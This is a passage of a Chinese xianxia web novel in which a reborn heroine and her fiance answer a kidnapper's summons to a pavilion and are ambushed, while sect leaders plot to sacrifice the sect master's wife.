“她自是有这般胆量,慕家二小姐性子骄矜,心气颇高。”白望舟抬手饮茶,抿了一口,垂眸看着茶盏中摇晃的水面,“朝蕴和慕峥两个天赋没那般出众的人,偏偏生了个千年难得一遇的旷世奇才……不,是两个。” 他放下茶,茶盏搁在木桌上碰撞出清脆的叮咚声。 应逐皱眉:“慕家不是只二小姐才干出众吗,那慕大小姐已是个废人。” “宗主兴许不知,可并非如此。”季观澜笑了下,啪嗒一声将折扇合起,意味深长道:“慕大小姐出生便能引气入体,若细心培养,来日必成大器,成就定不输于慕二小姐。” 应逐恍惚间明白了,为何那位要对一个刚出生的婴孩下手,又为何朝蕴当初生慕夕阙的时候,消失匿迹整整三年,待慕夕阙三岁练气后才公之于众,告知世人慕家有了位二小姐,且对慕夕阙看守格外森严,十岁前几乎未出过淞溪地界,那位慕家大弟子更是时刻跟随其左右。 这等天才出生于一个经商的世家,谁人都想将其扼杀于摇篮,很难护得住。 便是当初的闻惊遥出生时,也是在清心观待了十年,每年只能出来几次,见见爹娘,去淞溪见见那位二小姐,再即刻回闻家清心观。 应逐讷声问道:“那现在……” 白望舟笑意渐深,慢而清楚地说:“我们主子有一计,不知应宗主愿意否?” 应逐忙道:“白长老但说无妨。” “夫人的命,怕是交代在这里为好。”白望舟为他添茶,对上应逐微颤的瞳仁,声音放慢,“舍一人,换你千机宗昌荣,愿意吗?” “毕竟小公子已殒,千机宗无少主,应宗主不是也想和离另娶吗,一个女子而已,你不舍得?” 那杯茶搁在应逐面前,他垂眸,盯着茶水中倒映出的脸,愣了许久,而白望舟和季观澜都未说话,似在等他一个答案。 半刻钟后,应逐端起微凉的茶,一口饮下。 茶盏搁在桌上,他站起身,拱手道:“一切交由鹤阶决断。” “应宗主快起。”白望舟起身,装模作样搀扶他,将一块玉牌搁置在他掌心,“主子亲赐的玉符,日后鹤阶内阁长老推选,您可凭此玉符无票当选。” 应逐大喜,握紧玉符拱手行礼:“谢过白长老,谢过主子!” 季观澜便也垂首拱手:“多谢,我千机宗定会为主子效力。”- 送走蔺九尘后,慕夕阙独身换衣,对着铜镜给伤口上药,短短几日,被闻惊遥留下的伤方好,昨夜打了那么一场架,又挨了三刀,多亏了此次从淞溪慕家带来了药谷亲创的止血清创药,才未被闻惊遥察觉出血气。 她面无情绪处理伤口,动作娴熟,刚缠好止血的绷带,前院传来道气冲冲的声音。 “师姐,那千机宗好生不要脸!” 话音刚落,紧闭的门被推开,姜榆进她的屋子从不敲门,慕夕阙眼尾一抽,赶忙拉上外衫裹好。 她回头看去,姜榆似刚从昏睡中醒来,两个麻花辫松松垮垮,举着个水镜直冲她来。 “你看你看,咱们慕家拒绝千机宗要借十二辰的消息今日下午便传开了,我之前加了个十三州的八卦小群,好多人瞎说!” 慕夕阙系上腰封,姜榆已经将水镜怼她脸上了,这东西十三州联络通讯用的,只需要输入对方的玉碟号,便能加上对方进行联络,比通信玉牌功能多些,能多人聊。 慕夕阙也有这东西,没怎么用过,但姜榆爱八卦,她大致扫了眼,乌泱泱的简讯中,有七成都在痛斥慕家藏宝,十三州关于慕家的谣言诋毁本就传得盛,许多不明是非的年轻弟子便听风是雨,说什么信什么。 但也有理性公正之人,反驳那些一溜倒向鹤阶的人,称十二辰本就属于慕家,借不借自是人家自己的事。 “知道了。”慕夕阙只扫了两眼,便收回目光,踱步朝外厅走去。 姜榆紧随其后,气得小脸都红了些:“定是千机宗在背后瞎传,近些时日祭墟动荡,鹤阶倒是假惺惺地宣告,若谁能令天罡篆认主,鹤阶便会让其当上圣尊,借出天罡篆镇压祭墟保十三州平安,外面都传鹤阶大公无私呢。” 可祭墟动荡,十二辰也同样苏醒,朝蕴却始终不肯让十二辰认慕夕阙为主。 十三州近些时日应是有人趁机推波助澜,传慕家有意藏宝,不愿借出十二辰镇压祭墟,一时之间聚讼纷然,人言可畏,慕家遭了不少辱骂。 慕夕阙坐下,看了眼姜榆,劝道:“别给自己气出病了。” 姜榆气鼓鼓坐下:“可师娘明明就是想保护你,毕竟历任十二辰之主就没有长寿——” 她说到这里,对上慕夕阙的目光,又生生截停了后半段话,气鼓鼓说:“什么能掌阴阳轮回、四时轮转,听着风光罢了,实际都是靠透支神器之主的寿数,包括天罡篆,也不是什么好东西。” 说着,姜榆更来气了,一拍桌子:“师姐,要不要我今晚去偷偷摸摸把应逐揍一顿,反正他修为不高应该打不过我和师兄。” 慕夕阙单手撑着侧脸,闻言摇摇头:“不可以,季观澜修为高,你在他面前还不够看。” 姜榆又泄了气:“那就任慕家被污蔑?” 慕夕阙垂眸,目光在桌上搁置的水镜上停顿了瞬,眼底暗光一闪而过。 她低声说:“放心,很快了。” 腰间玉牌亮了瞬,慕夕阙低头去看。 “阿榆,你先回去休息,我有些事。” 姜榆瞧见同心玉牌亮了,脸上阴霾瞬间消散,站起身意有所长说:“我知道,你聊,你们慢慢聊。” “等等。”慕夕阙喊住她,看了眼她手中的水镜,“你这水镜可以联络到灵枢阁吗?” “灵枢阁?”姜榆愣了下,点头,“当然可以,灵枢阁卖八卦最多了,我加的有他们。” 慕夕阙伸出手:“借我用用,我想联系他们帮我查些事情,你莫要声张。” 她一脸严肃,姜榆也立马正经起来,忙将水镜递给她:“好,师姐你只管用,有需要联络我。” 慕夕阙笑了笑,目送姜榆离开后,收起水镜,用灵力将房门关上,接通了同心玉牌。 闻惊遥清洌干净的声音自玉牌那端传来:“夕阙,你休息好了吗?” “嗯,怎么了?”慕夕阙倚着桌边,有一搭没一搭翘着桌面。 闻惊遥听到隐约的叮叮咚咚声,顿了下便想明白,她大概又是无聊敲敲打打了,她总有些小习惯。 “周夫人有消息了。” 慕夕阙屈起的指节悬停,安静了片刻,似乎听到有意思的事情,她坐直身子,将玉牌搁在桌上。 “是吗?” 闻惊遥道:“闻家派出去搜寻的弟子传来消息,闻家城东的暗桩收到一根飞镖,镖下压着字条,要求我们今晚前去一个地方。” “我们?” “是。”闻惊遥道,声音沉了几分,“你和我。” 那字条上写着: ——今夜亥时,邀闻大少爷与慕二小姐于东浔城外桃花阁见。 作者有话说:是的,十二辰和天罡篆其实不是完全有利的,祸福相依的道理,有利益,当然也需要付出代价,后续会详写的~ 今天双更合一了,一次性更八千[加油]以后还是晚上18:00更新,推迟会发红包~ “天下熙熙,皆为利来。天下壤壤,皆为利往”——出自《史记》 第23章 第 23 章 她绝不会再信他 “不行!” 朝蕴回身, 厉声反驳。 “谁知掳走周夫人的人修为几何,又带了多少人,只让小夕和惊遥两个人去, 明摆着便是鸿门宴!” 庄漪禾和闻承禺并肩而立,皆沉默不语。 蔺九尘上前一步, 垂首说道:“师娘, 我跟着一起去,一定会护小夕安全。” “那你的性命谁来护!”朝蕴瞪了他一眼,一拂袖子坐了回去, 态度坚定,“我不同意,两个孩子才十来岁, 那幕后人既然点名让小夕和惊遥去, 必定有陷阱等着。” 蔺九尘怔愣了下, 最后缄默无语, 又站至她身侧。 慕夕阙到来后, 立时便觉察出整个议事堂的沉闷气息,庄漪禾和闻承禺都在,朝蕴和蔺九尘也在, 以及闻惊遥。 见她来了后,几双眼睛齐齐看过来。 慕夕阙松松挑眉:“嗯?干什么, 气氛这么压抑, 我来之前你们偷着说我坏话了?” 她又是这副不正经的模样,但话一出, 朝蕴沉着的脸色松了些,朝她招手:“小夕,你过来些。” 过去的慕夕阙大概会跟她犟, 如今倒是异常听话,朝蕴一喊她便过去,站定在她身前,而朝蕴拉起她的手,掌心覆在她的手背上拍了拍。 “惊遥与你说了周夫人的事吧,那掳走周夫人的贼人邀你和惊遥单独去桃花阁,阿娘恐你们遭人算计,既知是陷阱,又怎能往里跳?” 慕夕阙与她对视,朝蕴眼底的担忧浓得无法忽视,她抬起手,轻触朝蕴眼尾的细纹,轻声说道:“别担心,我长大了。” “便是再大,天赋再好,你也只是个元婴境的修士,你性子骄傲阅历尚浅,阿娘恐你抵不过那些勾心斗角。” 朝蕴的担忧并非没有道理,在她眼中慕夕阙还是那个脾气大、性子骄矜的慕二小姐,全然不知这壳子里装的早已不是她那个年轻单纯的女儿,若论阅历,如今的慕夕阙比朝蕴多得多。 慕夕阙反手握住她的手,沉声说道:“我去,阿娘,你放心,不会出事的。” “可是——” “朝夫人。”始终沉默的闻承禺开口,黑眸沉沉看着慕夕阙,“若今日惊遥和慕二小姐退缩,怕明日十三州便会传遍,慕、闻两家对千机宗宗主夫人失踪一事袖手旁观,畏畏缩缩,两家少主难当大任。” 这便是将刀架在两家脖颈上,用世家们最在乎的名声逼迫。 朝蕴自然也清楚,她冷声道:“不过就是些闲言碎语罢了,我淞溪慕家自是不——” “阿娘,我说我去。”慕夕阙打断她的话,她与朝蕴对视,沉声道:“你得信我。” 朝蕴前不久说的,想做什么便去做。 她心下犹豫不安。 “朝家主,我与夕阙一起,不会让她出事的。”闻惊遥忽然开口。 朝蕴侧眸看去,闻惊遥神色未变,只淡声说:“您放心。” 慕夕阙也道:“我敢去就一定不会出事,他们有他们的计谋,我自然也有我的对策。” 不知为何,自打几日前启程来东浔之时,朝蕴便总觉得自己这女儿似乎变了不少,过去那种张扬的态度好似忽然便收敛了起来,人都说成长免不了磨砺,可她还没来得及让慕夕阙去沉淀性子,这个女儿自己便突然长大了。 双目相对,两人对视良久。 末了,朝蕴松口:“去吧。” 闻家本就打算让闻惊遥前去,纵使庄漪禾忧心,但闻承禺自小便磨砺闻惊遥的性子,他一个家主开口点名要闻家少主前去救人,那便是命令了。 见朝蕴松口,庄漪禾也叹了声,说道:“那便去吧,闻家会派出些精锐弟子守在桃花阁附近,若真有事便即刻求援,莫要好胜斗勇。” 闻惊遥应下:“好。” 慕夕阙看了眼他,两人隔着几人对视,她笑了下,瞧着仍旧如平日那般,好似不久前他在她眼里瞧见的恨意是场梦。 闻惊遥喉结滚了滚,迫使自己忘掉那一眼。 朝蕴带着慕家人离开时,蔺九尘看了眼慕夕阙,她冲他笑笑。 两人对视一眼,随后他收回目光,转身随朝蕴离开,慕家弟子忙了一晚也需要休息,朝蕴作为家主自然得去安排。 庄漪禾似有东西要送闻惊遥,将他叫走,一时之间,议事堂便只剩下慕夕阙和闻承禺。 “闻家主,那我便先去准备了。” 慕夕阙打了声招呼,抬步便要离开。 “慕二小姐。”闻承禺喊住她。 慕夕阙便是想走也走不了,她并不喜欢跟闻承禺打交道,无论前世还是今生,她素来不喜城府深沉之人。 “闻家主。”慕夕阙转身,牵出得体的笑应道。 闻承禺负手而立,两人之间隔了十几步远,他沉沉看着她,好似能猜出她心里在想些什么,背地里又在算计什么,让慕夕阙总有种感觉,自己在他面前无所遁形。 “二小姐身上既有伤,便得注意些,莫要让惊遥担心。”闻承禺神情从容,好似闲聊。 慕夕阙倏然抬起眼帘,黑眸沉沉看着他。 穿堂而过的风吹起她的发和衣裙,身上浓郁熏香完美盖住那点草药香和血气,慕家花千金托人购置的药谷创药,整个十三州都寻不出来几瓶,疗伤效果奇好。 她睡在闻惊遥身侧便是打着迷惑他的心,那般近的距离,连他都闻不出血气。 如今隔了十几步远,闻承禺竟能瞧出她身上有伤,既然看出来了,为何不告知闻惊遥? 闻承禺并无刨根问底的心,也似乎不是逼问,他仍旧站在那里,淡声说道:“慕家看中了闻家的兵力,那么闻家自然也有我们想要的,而其中一点,无论你在做些什么,不要动闻家人,老老实实当你的慕家二小姐。” 慕夕阙并不客气地说:“您放心,我这个人虽然脾气不好,但还是明是非的,若对得起我的人,我自是不会招惹,若有对不起我的——” 她笑了笑,又道:“那我也忍不了,定要千倍百倍地还回去。” 闻承禺面无表情,看她离开。 慕夕阙走出议事堂,闻家议事堂大且隐蔽,并不见光,里头总觉得凉飕飕的,她方一出来,便瞧见日头,身上也暖洋洋的。 闻惊遥跟庄漪禾离开还未回来,慕夕阙便在议事堂外的凉亭内坐下,仰头懒洋洋靠在身后的围栏上,闭上眼,在闻家敢这般坐无坐姿,估计得抄上几十遍家规。 但来往巡查的弟子都知晓她是慕二小姐,少主特意交待过,慕二小姐不需按照闻家家规行事。 慕夕阙躺了会儿,听到沉稳的脚步声朝她走来,接着直射在脸上的日光被遮掩,有人站在她身前。 她睁开眼,对上闻惊遥温和的双目,他抬着手替她挡光,说道:“脸会晒红的,正午日头强,在这里睡不好的。” 她本来也没睡,慕夕阙的脖颈还枕着木栏,闻言笑着说:“你们东浔的天变得还真快,说下雨便下雨,雨停没一会儿便出了太阳。” 闻惊遥抬眸看了眼远处叠嶂的山峦,东浔两面环山,两面靠海,空气闻着都比旁的地方干净些,气候也潮湿,雨天多。 “是,在东浔你的乾坤袋里得时常备把伞,若是晴天,雾璋山最是好看。” 慕夕阙扭头,循着他的目光看去,侧身懒洋洋趴在木栏上:“就那座山?你说的雾璋山。” “嗯,那是东浔主城最高的一座山峰,向东西两侧延绵千里,清心观便在上面。” 慕夕阙来了兴趣,问道:“清心观里面都有什么啊,倒是想进去住两日,看看是不是真的如十三州传得那般吓人,还有那座山,我都没去过。” 她兴趣来得快,闻惊遥看着她,温声道:“清心观条件艰苦,你怕是不习惯,若想去雾璋山,等周夫人的事情了结,我带你去。” 慕夕阙下颌枕着胳膊,笑盈盈看他:“你怎知我不习惯清心观?” 闻惊遥无奈道:“夕阙,那里孤寒,无论膳食还是住行皆艰难竭蹶,会委屈你的。” 慕夕阙并未说话,笑着看向闻家主宅后的那座山,因着太高,云雾缭绕,将半座山掩在雾里,如今日头这般强,那云雾都未散去,瞧着便知晓里头定是潮湿阴凉。 清心观再艰苦,多少还能吃上顿饭,下雨有块瓦檐挡雨,累了有张床榻休息。 而她上辈子从海外仙岛回十三州后,几乎整日都在追杀别人,或被鹤阶追杀,身上的伤就没好全过,连家客栈都无法寻,世人避之不及的深山才是她最好的遮蔽所。 她躺在简陋的蔽所内,看着十三州的星空,月落日升,昼夜交替,四季轮换,她就这么数着日子。 一日又一日,一月过去了。 一月又一月,一年过去了。 一年又一年,最终,百年转瞬即逝。 再苦再难,能有那时候苦吗,慕二小姐所有的傲气都在那百年的日子里被磋磨打击得一丝不剩了。 闻惊遥看着她,她身上那种隐约的孤寂和冷寒又若隐若现冒了出来,他并非什么都看不出来,慕夕阙心里藏着事情,对他也憋着火气,可她不说,他也无法追问。 他垂眸在她身侧坐下,两人肩膀挨着肩膀。 这两日闻惊遥不断在想自己是不是做错了什么事,可他们见面不多,他能瞧见她一面都会格外珍惜这来之不易的相处时间,她想做什么都随着她,便是拿他当剑靶子打架,他都乐意陪她打上好几日。 他不跟她吵架,所有的好脾气都给了她,也从不冷落她,不曾落她的面子,慕夕阙说什么都是对的,慕夕阙想做什么他都奉陪。 那到底是为何……会惹她生气? 闻惊遥侧眸看她,慕夕阙闭上眼,呼吸规律,下颌枕着自己的胳膊,似乎睡着了。 可他知晓她没睡。 闻惊遥没说话,抬手将母亲给他的木盒拿出,里头是一根点翠镶珠的金簪,这是他请庄漪禾帮忙托人打的,样式都是他自己画的。 慕夕阙爱戴金饰,也只有金饰衬她。 闻惊遥取出金簪,她今日出来的急,并未戴太多头饰,他便小心为她簪上。 慕夕阙睁开眼,侧眸与他对视,她的眼底并无困意,抬手摸摸发髻上的金簪,眼眸弯起,笑着说:“再这么下去,我得掏空闻少主的钱袋子了。” 闻惊遥合上木盒收好,耐心道:“无事,养得起的。” 慕夕阙歪歪脑袋:“我吗?你要养我?” 闻惊遥颔首,看着她回道:“嗯,钱都给你花。” 小古板从小便被教育不能言不由衷,说违心的话。 因此心里想什么,他便说什么,也并不觉得这话有什么暧昧之处,两人结为道侣,那他的一切东西本就该是她的。 慕夕阙别过头,闭上眼,闷闷笑了两声。 闻惊遥坐在她身侧,他不是话多的人,她不说话,他便无话可找,总觉得自己无意中会惹她生气。 慕夕阙声音很低:“闻惊遥,你如今既然这么喜欢我。” “……夕阙?” 少年怔愣了下,总觉得她还有话未说完。 可慕夕阙并未再说话,她闭着眼,宽袖下的手却慢慢攥紧,闻着鼻息间隐约的雪竹香,让她又忆起上午做的那场幻梦。 他既然这么喜欢她,又为何当初那般心狠? 人心易变,她绝不会再信他一次- 从东浔主城到城外桃花阁路程不近,得半个时辰左右,众人只送到东浔城门。 慕夕阙跟朝蕴打了个招呼:“阿娘,我便走了。” 朝蕴颔首:“路上慢些。” 慕夕阙又看看朝蕴身后的蔺九尘和姜榆,姜榆一脸担忧,怕是下一刻便能拎上包跟慕夕阙走,若非被蔺九尘扣着,她断然要偷偷跟上。 “阿榆,师兄,别担心。” 姜榆一瘪嘴:“师姐……唔!” 煽情的话没说完,被蔺九尘捂住嘴,而他冲慕夕阙颔首:“好,你去吧。” 闻惊遥那边更是无话可多,他过去离家历练之时从未有人送过,闻家奉行独狼式教养,纵使他是少主,也得跟着弟子一同巡街,外出除邪历练,上学宫修习。 他只冲庄漪禾和闻承禺颔首,便算打过招呼了。 随后看了眼慕夕阙,两人用了灵力奔移,转眼便消失。 东浔城外全是密林,古树参天,便是月色都透不进几分,两人在晦暗中一路前行,路过一处密林之时,闻惊遥侧眸看过去。 倒塌的树木和崩裂的山石泥地已被闻家弟子处理好,如今那里只余一片空地,空地中央一块径约十丈的圆形土坑,是他前些日子破那万竹阵时留下的。 两人速度很快,他也只瞟了一眼,急速刮过的夜风将单薄的青衣吹得猎猎作响,与之一同吹来的,还有慕夕阙的声音。 “在看什么?” 闻惊遥和她速度保持一致,淡声说:“前些时日二叔便是在那里出的事,我被凶手的阵术困住。” 慕夕阙闲聊般说道:“我爹也是阵术大能。” 闻惊遥接话:“可你并未修习阵术。” “嗯,不感兴趣,平生只爱剑术。”慕夕阙别头看了他一眼,眼底狡黠笑意划过。 闻惊遥又缄默不语。 慕峥虽是阵术大能,但慕夕阙也确实不会阵术,而那凶手于阵术一道上却足以称佼佼之列。 两人全程用灵力奔移,亥时正,抵达桃花阁。 所谓桃花阁,地如其名,坐落于一片桃林中,每年只有三、四两月向客开放,那是桃花盛开的时候,放眼望去,尽是缤纷花瓣。 桃花阁占地千亩,由八根汉白玉柱撑起,高有十层,峻宇雕墙,画栋朱帘,建筑风格奢靡,从外看便觉富丽,与倡导崇俭禁奢的东浔格格不入,倒有些像淞溪流行的风格。 两人刚站定,遥遥望着点灯的桃花阁,闻惊遥沉声说:“桃花阁之主是谁,闻家至今未查到,这块地原先的主人说是一个小厮来付的银钱,他们家桃花醉在十三州分外出名,每年这两月,不少人慕名前来,千金求购一杯桃花醉。” 慕夕阙点点头,漫不经心问道:“那你喝过吗?” 闻惊遥唇瓣微抿,说道:“并未。” 慕夕阙笑了下:“想起来了,订婚之时庄夫人说过,闻少主从小到大没饮过酒,怪不得醉成那副样子。” 她提起那件事,闻惊遥又成了个哑巴。 慕夕阙闷闷笑了两声,直往桃花阁走,这十层高楼里人声鼎沸,八音迭奏,鼓乐喧天,瞧着来人不少,他们刚至门前,便有两个似侍女模样的人迎来。 “二位可有约?桃花阁一日只接两百人,若提前未约,便进不得。” 慕夕阙看了眼闻* 惊遥,他点点头,取出飞镖递过去。 “是这器物之主邀我们前来。” 那人既然只送了一根飞镖和一张字条邀他们前来,想必提前便安顿过。 果不其然,侍女瞧了眼飞镖,盈盈一笑,抬手做请:“原来是贵客,请进。” 方一进去,闻惊遥便皱了眉,这里来的人都是冲着桃花醉去的,那酒分外醇香,闻着便觉酒劲浓,而闻惊遥并不喜酒,只觉呛人。 慕夕阙低低笑笑,凑到他身边说:“你悠着点,别闻着闻着醉了,我可应付不来醉酒的闻大少爷,难缠得很。” ……她又逗他。 闻惊遥抿了抿唇,耳根略烫,憋不出什么话,只能低低应了声:“嗯,不会醉的。” 这里十层,前五层零零散散坐满了人,从第六层往上,人便越来越少,偶然瞧见几人,也都是坐于帘后,只露出模糊身影,如此遮遮掩掩,若非极恶之人,便是极贵之主。 慕夕阙便也悟了出来,这等遐迩闻名之地,越是自我标榜尊贵珍稀,便越是等级森严,高处代表权力,能坐于高地之人,便能俯视下方几层的人。 她嗤笑了声,喝个酒还能喝出尊卑高低了。 侍女一路将他们引上第十层,放眼望去,过道上无一人。 “姑娘,公子,朝里走便可。” 说完,那侍女福了福身,转身下楼,一句也不多说。 慕夕阙抬步就走,丝毫不怵,闻惊遥跟上,两人并肩。 刚至门外,门便无声打开,仿佛感应到他们到来,主动迎客。 慕夕阙闻到一股清淡缥缈,似有若无的香,从门外往里看,这间屋子极大,放眼看不到头,只能瞧见一块块颜色艳丽的纱幔从屋顶垂下,无风自晃。 五颜六色,看得人眼晕,像极了烟柳之地,愣是拉低了这桃花阁的档次。 品味真俗。 这么俗的人,她恰好知道一个。 慕夕阙抬步便要往里走。 垂下的手腕被扣住,闻惊遥看了眼屋内,皱眉道:“这里面有人。” 威压很强,修为不弱。 慕夕阙冲他笑笑,拍拍他的手:“放心。” 她好似笃定了,闻惊遥便无话可说,松开她的手。 慕夕阙抬步往里进,穿过一张张纱幔,直到瞧见一张纱幔后隐约的人影,那人身姿绰约,坐在桌前似在饮茶,颇有闲情雅致。 听见脚步声,那人放下茶,淡声说了句:“来了啊。” 声音低沉,是个男子。 无形的灵力将纱幔掀开,慕夕阙看过去,那张脸五官精雕细刻,漂亮得只需看一眼便忘不掉,明明美如冠玉,偏偏穿得…… 乱七八糟的。 慕夕阙皱眉,他那一身金光灿灿、镶金嵌玉的宽袍,再佩上身上同样耀眼的玛瑙翡翠和金银之物,只需看一眼,便觉得眼睛要晃瞎了。 她别过头闭了闭眼,听到闻惊遥喊她。 “夕阙,怎么了?” 慕夕阙睁开眼,闻少主一身青衣,朴素简单,让她只觉得眼睛得到了拯救。 医师说得不错,果然绿色护眼。 斜坐于茶几后的人咋舌道:“啧,初次见面慕二小姐便这般对我,可真令人伤心。” 慕夕阙侧眸看去,心下感慨。 一个海外仙岛的人,为何会出现在十三州? 被鹤阶派人围杀后,她被师盈虚送上去往海外仙岛的灵舟上,身上的伤拖着越来越重,刚下灵舟,她便晕倒在沙滩上。 再次醒来,这金光灿灿的人便坐在她身侧,穿金戴银,却在烧柴火,见她醒了,对她说道:“我听闻十三州鹤阶在追杀一人,是个女子,好像是慕家二小姐,是你吧?” 慕夕阙撑坐起来,握紧手边的木头,狠厉看着他。 他若动手,她必跟他同归于尽。 他却转身,扔给她一个烧好的红薯,说道:“巧了,我与鹤阶也有仇,不如这样,我们做个交易。” “什么交易?” “我救你,你和我一起杀了鹤阶所有的人。” 可事实上,他比她死得还早,从海外仙岛回到十三州后,没多久便死了。 被鹤阶杀了,为掩护她离开。 而如今,他撑着下颌,百无聊赖看着慕夕阙和闻惊遥,啧啧两声。 “他们要我等的人是你们啊,小道友们,你们惹上大麻烦了。” 作者有话说:一个很重要的配角登场,跟小慕没有感情线,上一辈子更倾向于盟友~ 明天开大,会多更新一点[加油] 今天更新晚了一小会儿,本章发个小红包~ 第24章 第 24 章 诡计 能在这里见到随泱, 确实在慕夕阙意料之外。 随泱不该出现在这里,前世慕夕阙和他认识五年,从未听说他来过十三州, 这位在海外仙岛人缘颇好,什么都懂, 好似生在那里长在那里的人, 又怎会在十三州? 慕夕阙问过他为何会与十三州鹤阶结仇。 随泱当时仍在烧柴火,他似乎钟爱烤番薯,两人坐在海边沙滩上, 木柴燃烧发出噼里啪啦的声响,海浪声一阵又一阵,跳跃的火光扫在他的侧脸和身上, 将那身金光耀眼的长衫衬得更令人晃眼。 他笑了笑, 说道:“我有一个很重要的人死在鹤阶手下, 我得报仇啊。” 那个很重要的人是男是女, 是他的谁, 慕夕阙都一无所知,问过一次,随泱避而不谈, 那她便不再问了。 可如今,随泱在为鹤阶做事。 他的坐姿歪斜, 一手手肘撑在茶几上, 单手托腮,仰头笑着瞧她。 慕夕阙垂眸看他, 面无表情。 闻惊遥执剑的手悄然攥紧,剑柄上的沟壑硌在掌心中,这柄霜青长剑已然出鞘了几分。 随泱一腿屈起, 另一只手搭在膝上,看了看两人,嗔了慕夕阙一眼。 “早知道不让你这小未婚夫来了,他好凶哦,你喜欢他什么,不如退婚,我阿弟修为高人还年轻,长得也不错,若你肯嫁于我家,聘礼定——欸欸欸,干什么!” 话还没说完,青剑祭出,长剑自他的脖颈一侧刮过,闻家剑法讲究快捷,余威也不容小觑,即使闻惊遥并未出绝对的杀招,单是剑光划过的气流便足以割断随泱耳垂上挂的金环。 闻惊遥漠然看他:“请前辈谨言慎语,莫要出口不逊。” 随泱气急,一拍桌子起身:“你急了?成婚也有和离的,更别说你俩八字也就一撇!” 闻惊遥单手召回钉在木墙上的青剑,剑柄在手中转了圈,剑尖直冲随泱。 还未真正出手,有人按住他的剑身,只轻轻一握,他立时收剑,忙回身牵起她的手。 “剑身锐利恐伤了你,怎能用手去握?” 他说话快了些,摊开她的手仔细看了遍,确定没伤到一分一毫。 “无事。”慕夕阙握住他的手,侧眸看向正双手环胸懒洋洋看戏的随泱,方才从他的话里,倒是听出了个从前不知的事。 “你有个弟弟?” 随泱眸光一亮:“怎么,你感兴趣?我亲弟,年纪跟你相仿,长得那叫一表人才,修为如今元婴初境,虽然比不得你,但也算是同辈中的佼佼者了,若你愿意的话,我今天就不算计你了。” 慕夕阙眸光一暗,红唇微弯。 她可从来没听说随泱有个弟弟。 那看来,鹤阶杀的人便是随泱的亲弟了,如今随泱既然在帮鹤阶做事,那便证明如今他的弟弟还活着,他尚未与鹤阶结仇。 可随泱虽然贪财爱势,但并不是不明是非之人,他最是嘴硬心软,怎会为虎作伥,替鹤阶办事? 慕夕阙心里在算计,闻惊遥垂眸看着她的侧脸,她盯着随泱看,似乎心里在琢磨什么,他知道慕夕阙并不是这般会被三言两语蛊惑的人,她应是在想些事情。 但听着随泱在那边旁若无人地撬墙角,任谁都不会舒服。 闻惊遥侧眸看向随泱,后者闪着金光朝他们走来,还在忽悠。 “机不可失失不再来,别看你未婚夫温良恭谦、如玉君子,私底下保不准什么都——” 话又没说完,青剑悬停在空中,剑尖紧贴随泱脖颈,他再往前一步便会刺穿他的颈项。 闻惊遥冷声道:“若不会说话,那便不要再说了。” 随泱气急败坏退后一步,身上挂满的金饰叮叮咚咚响起来,指着闻惊遥骂:“开个玩笑,你这小古板——” 话刚开了个头,窗柩上燃烧的香已经到底,余香折断,香炉里已摞满了灰色的香烬。 随泱脸色陡然一变,恍若变了个人,方才所有的不正经都一扫而过,他冷眼看来。 “抱歉,时辰到了,聊天聊久了,该干正事了。” 他动作颇快,几乎瞧不清身法,只能看见金影闪过,朝他们二人逼来,慕夕阙和闻惊遥同时侧身闪躲,长剑祭出,自左右两侧同时攻向随泱。 随泱那身宽大的金袍不知是何等材质,他扬手一挥,袖袍竟卷住两柄名剑,制动他们二人的杀招。 慕夕阙看了眼闻惊遥,少年会意,松开剑柄脚步一晃,瞬移上前,眨眼间出现在随泱面前,抬手蕴出灵力直攻随泱面门,浩荡的威压带了十成十的杀意。 随泱眸色一暗,歪头躲避,趁他躲避闻惊遥的刹那,慕夕阙一把扯下头顶悬挂的纱幔投掷向他,那薄如蝉翼的彩纱遮挡他的视线,给了闻惊遥机会,一脚踹上他的胸口。 随泱闷哼一声,手上力道一松,被宽袖卷住的两柄长剑得以挣脱,慕夕阙接住自己的剑,又顺手将闻惊遥的青剑扔过去。 两人默契十足,一红一青同时攻去,随泱面色冷淡,身子一晃,竟直接绕至两人身后,他避开慕夕阙,一手推掌攻向闻惊遥。 少年侧身躲避,却正中其怀。 随泱抬手一挥,闻惊遥身后的窗子碎裂,随家功法以轻盈无痕而驰名,一息功夫便闪至闻惊遥身前。 在慕夕阙都未反应过来时,随泱一手推掌,罡风毫不留力打在闻惊遥肩头,直接将他从第十层打落至第一层。 闻惊遥在第一层旋身站立,冷脸仰头看去,鼓声戛然而止,舞姬也迅速退离,从一层向上至第九层,纱幔同时扯下,一双双冷厉的眸子看着他。 接着,百刃齐出,方才放歌纵酒的“宾客们”扯去那副玩世不恭的皮囊,仿佛接到肃杀的命令,齐齐朝他逼来。 酣饮醉酒是真,窥间伺隙也是真。 而第十层,偌大屋内只剩随泱和慕夕阙。 慕夕阙听见铿锵凌冽的打斗声,剑声猎猎,她一听便知是闻家剑法。 随泱站至窗前,姿态慵懒看着一楼大厅内的打斗,百人围攻一人实在不道德,他眉梢微扬,眸中带了赞赏:“功法不错,果然是闻承禺的孩子,青出于蓝而胜于蓝,不出百年便能名扬天下了。” 慕夕阙冷眼看他,似并不在乎下方的打斗,她盯着随泱。 随泱侧眸看她,懒懒问她:“未婚夫被围攻,你不去帮忙?” 慕夕阙毫无焦急之态,淡声道:“你也不会让我去帮忙的,那些人本就是你用来针对他的,不是吗?” “恭喜你,猜对喽。”随泱啧啧咂舌,摇了摇头,“可怜那少年郎对你倾心相许,我瞧你却并无半分真心,全是虚情假意,你想利用他做些事情,是吗?” 慕夕阙面无表情,利落挽出剑花朝他逼去:“恭喜你,也猜对了。” 随泱偏头躲过,忽然放声大笑:“你真有意思,我便不扯鸳鸯了,这等心狠之人,我阿弟那傻子怕是被算计得分毫不剩了。” 两人擦肩而过,双目相对的刹那,随泱眼底的笑意凝为冰霜,抬手握住她的剑柄,冷声道:“抱歉,以多欺少,以大欺小多少有些不道德,但我没办法。” 他再不像方才那般游刃有余,招式倏然凛冽,没有半分生涩迟滞,不知从何处变出一把折扇,扇端伸出十数根铁刃,磅礴的扇风旋然朝慕夕阙逼去,与长剑刮过的瞬间,带出星星点点的火花。 慕夕阙面不改色,被他的层层杀招逼向屋舍深处,一张张从上悬下的纱幔迎风飘荡,遮住两人的身影- 季观澜走进屋内之时,应逐正坐在阴影处的宽椅上。 “宗主,准备好了,夫人也已醒来。” 应逐手中把玩了块薄而剔透的玉符,他低着头,神情瞧不清,问道:“她有说什么?” 季观澜道:“夫人并未说别的,只说了句‘好’。” 应逐倏然抬眸,眸底竟有些阴狠:“她就只说了这些?” 季观澜颔首:“是。” 